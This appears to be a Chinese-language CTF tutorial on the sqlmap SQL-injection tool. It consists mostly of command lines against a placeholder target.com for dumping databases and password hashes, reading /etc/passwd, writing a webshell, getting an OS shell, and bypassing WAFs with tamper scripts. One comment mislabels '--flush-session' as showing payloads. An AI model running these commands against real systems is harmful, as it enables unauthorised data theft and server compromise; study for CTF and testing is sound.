sqlmap
2026/5/29工具工具Web安全sqlmap大约 6 分钟
sqlmap
链接
是什么
sqlmap 是一款开源的自动化 SQL 注入检测与利用工具,支持对多种数据库管理系统进行注入攻击。它能够自动识别注入点、枚举数据库、提取数据,甚至获取操作系统 Shell。sqlmap 支持 MySQL、PostgreSQL、Oracle、Microsoft SQL Server、SQLite、MariaDB 等主流数据库。
在 CTF Web 类题目中,sqlmap 是进行 SQL 注入利用的核心工具,能够大幅提升解题效率。
核心特性:
- 自动检测 SQL 注入类型(布尔盲注、时间盲注、报错注入、联合查询、堆叠查询)
- 自动识别数据库类型和版本
- 枚举数据库、表、列、数据
- 支持自定义 Payload 和 Tamper 脚本绕过 WAF
- 支持从文件读取请求(配合 Burp Suite 使用)
- 支持多线程并发加速
安装与配置
环境要求
- Python 2.7 或 Python 3.x
- 推荐使用 Python 3.6+
安装方法
# 方法一:从 GitHub 克隆
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap
python3 sqlmap.py --version
# 方法二:使用 pip 安装
pip install sqlmap
sqlmap --version
# 方法三:Kali Linux 自带
sqlmap --version基本配置
# 查看版本
python sqlmap.py --version
# 更新到最新版本
python sqlmap.py --update
# 查看帮助
python sqlmap.py -h
# 查看完整帮助(包括高级参数)
python sqlmap.py -hh目录结构
sqlmap/
├── sqlmap.py # 主程序
├── tamper/ # Tamper 脚本目录
├── data/ # 数据文件(XML payload、UDF 等)
├── plugins/ # 数据库插件
├── lib/ # 核心库
└── extra/ # 辅助工具基本用法
最基本的注入检测
# 检测 URL 参数注入
python sqlmap.py -u "http://target.com/page?id=1"
# 检测 POST 请求注入
python sqlmap.py -u "http://target.com/login" --data="username=admin&password=123"
# 指定 Cookie
python sqlmap.py -u "http://target.com/page?id=1" --cookie="session=abc123"
# 指定 HTTP 头注入
python sqlmap.py -u "http://target.com/" --headers="X-Forwarded-For: 1.1.1.1\nUser-Agent: Mozilla/5.0"使用 Burp Suite 请求文件
- 在 Burp Suite 中右键请求 -> Copy to file,保存为 request.txt
- 使用 sqlmap 加载:
python sqlmap.py -r request.txt指定注入参数
# 指定测试参数
python sqlmap.py -u "http://target.com/page?id=1&name=test" -p id
# 指定注入技术
python sqlmap.py -u "http://target.com/page?id=1" --technique=BEUSTQ
# B: 布尔盲注 E: 报错注入 U: 联合查询 S: 堆叠查询 T: 时间盲注 Q: 内联查询
# 指定数据库类型
python sqlmap.py -u "http://target.com/page?id=1" --dbms=mysql
# 指定 DBMS 版本
python sqlmap.py -u "http://target.com/page?id=1" --dbms="MySQL 5.7"枚举数据库信息
# 获取当前数据库名
python sqlmap.py -u "http://target.com/page?id=1" --current-db
# 获取所有数据库名
python sqlmap.py -u "http://target.com/page?id=1" --dbs
# 获取当前用户
python sqlmap.py -u "http://target.com/page?id=1" --current-user
# 获取数据库用户密码哈希
python sqlmap.py -u "http://target.com/page?id=1" --passwords
# 判断当前用户是否为 DBA
python sqlmap.py -u "http://target.com/page?id=1" --is-dba枚举表和列
# 枚举指定数据库的所有表
python sqlmap.py -u "http://target.com/page?id=1" -D ctf_database --tables
# 枚举指定表的所有列
python sqlmap.py -u "http://target.com/page?id=1" -D ctf_database -T users --columns
# 导出指定表的数据
python sqlmap.py -u "http://target.com/page?id=1" -D ctf_database -T users --dump
# 导出指定列
python sqlmap.py -u "http://target.com/page?id=1" -D ctf_database -T users -C "username,password" --dump
# 导出前 N 行
python sqlmap.py -u "http://target.com/page?id=1" -D ctf_database -T users --dump --start=1 --stop=10搜索功能
# 搜索包含 "flag" 的表
python sqlmap.py -u "http://target.com/page?id=1" --search -T flag
# 搜索包含 "flag" 的列
python sqlmap.py -u "http://target.com/page?id=1" --search -C flag
# 搜索包含 "flag" 的数据库
python sqlmap.py -u "http://target.com/page?id=1" --search -D flagCTF常用技巧
读取服务器文件
# 读取 /etc/passwd
python sqlmap.py -u "http://target.com/page?id=1" --file-read="/etc/passwd"
# 读取 PHP 源码
python sqlmap.py -u "http://target.com/page?id=1" --file-read="/var/www/html/index.php"写入 Webshell
# 写入一句话木马
python sqlmap.py -u "http://target.com/page?id=1" --file-write="shell.php" --file-dest="/var/www/html/shell.php"OS Shell
# 直接获取系统 Shell(需要 DBA 权限)
python sqlmap.py -u "http://target.com/page?id=1" --os-shell
# 执行单条系统命令
python sqlmap.py -u "http://target.com/page?id=1" --os-cmd="whoami"SQL Shell
# 获取交互式 SQL Shell
python sqlmap.py -u "http://target.com/page?id=1" --sql-shell
# 在 SQL Shell 中执行查询
sql-shell> SELECT * FROM users WHERE id=1;
sql-shell> SELECT LOAD_FILE('/etc/passwd');自定义 Payload
# 自定义注入前缀和后缀
python sqlmap.py -u "http://target.com/page?id=1" --prefix="'" --suffix="-- -"
# 自定义 Payload
python sqlmap.py -u "http://target.com/page?id=1" --payload="1' OR 1=1-- -"
# 联合查询指定列数
python sqlmap.py -u "http://target.com/page?id=1" --union-cols=5
# 联合查询指定字符列
python sqlmap.py -u "http://target.com/page?id=1" --union-char=1绕过 WAF(Tamper 脚本)
# 使用单个 tamper
python sqlmap.py -u "http://target.com/page?id=1" --tamper=space2comment
# 使用多个 tamper 组合
python sqlmap.py -u "http://target.com/page?id=1" --tamper="space2comment,between,randomcase"
# 常用 tamper 脚本常用 Tamper 脚本说明:
| 脚本名 | 功能 |
|---|---|
space2comment | 空格替换为 /**/ |
between | > 替换为 NOT BETWEEN 0 AND,= 替换为 BETWEEN |
randomcase | 随机大小写 |
charencode | 字符 URL 编码 |
apostrophemask | 单引号替换为 UTF-8 全角字符 |
halfversionedmorekeywords | MySQL 版本注释绕过 |
space2plus | 空格替换为 + |
equaltolike | = 替换为 LIKE |
greatest | > 替换为 GREATEST |
modsecurityversioned | ModSecurity 绕过 |
JSON 数据注入
python sqlmap.py -u "http://target.com/api" --data='{"id":1}' --headers="Content-Type: application/json" -p idLevel 和 Risk 参数
# 提高检测级别(1-5,默认1)
python sqlmap.py -u "http://target.com/page?id=1" --level=5
# 提高风险等级(1-3,默认1)
python sqlmap.py -u "http://target.com/page?id=1" --risk=3
# level=5 会测试 Cookie 和 User-Agent 注入
# risk=3 会使用 OR 注入(可能导致数据修改)提速技巧
# 使用多线程
python sqlmap.py -u "http://target.com/page?id=1" --threads=10
# 预测输出(基于常见查询结果)
python sqlmap.py -u "http://target.com/page?id=1" --predict-output
# 只测试指定类型的注入(跳过其他类型检测)
python sqlmap.py -u "http://target.com/page?id=1" --technique=B --skip="time-based"
# 跳过特定测试
python sqlmap.py -u "http://target.com/page?id=1" --skip="generic,test"调试与日志
# 显示详细输出
python sqlmap.py -u "http://target.com/page?id=1" -v 3
# 显示 Payload
python sqlmap.py -u "http://target.com/page?id=1" --flush-session
# 保存会话到指定目录
python sqlmap.py -u "http://target.com/page?id=1" --session-dir="./my_session"
# 输出日志到文件
python sqlmap.py -u "http://target.com/page?id=1" --log-file="sqlmap.log"常见问题
目标存在注入但 sqlmap 未检测到
原因:默认 level/risk 太低,或 WAF 拦截。
解决:
# 提高检测级别
python sqlmap.py -u "http://target.com/page?id=1" --level=5 --risk=3
# 使用 tamper 绕过 WAF
python sqlmap.py -u "http://target.com/page?id=1" --tamper="space2comment,randomcase"速度太慢
原因:时间盲注默认延迟较大。
解决:
# 减少延迟
python sqlmap.py -u "http://target.com/page?id=1" --time-sec=3
# 使用多线程
python sqlmap.py -u "http://target.com/page?id=1" --threads=10SSL 证书错误
解决:
python sqlmap.py -u "https://target.com/page?id=1" --force-ssl编码问题导致注入失败
解决:
# 强制指定字符编码
python sqlmap.py -u "http://target.com/page?id=1" --encoding="utf-8"
# 使用自定义 tamper 进行编码
python sqlmap.py -u "http://target.com/page?id=1" --tamper=charencode绕过自定义过滤
解决:
# 自定义篡改脚本:在 tamper/ 目录下创建 custom_tamper.py
# 参考已有 tamper 脚本格式编写
python sqlmap.py -u "http://target.com/page?id=1" --tamper=custom_tamper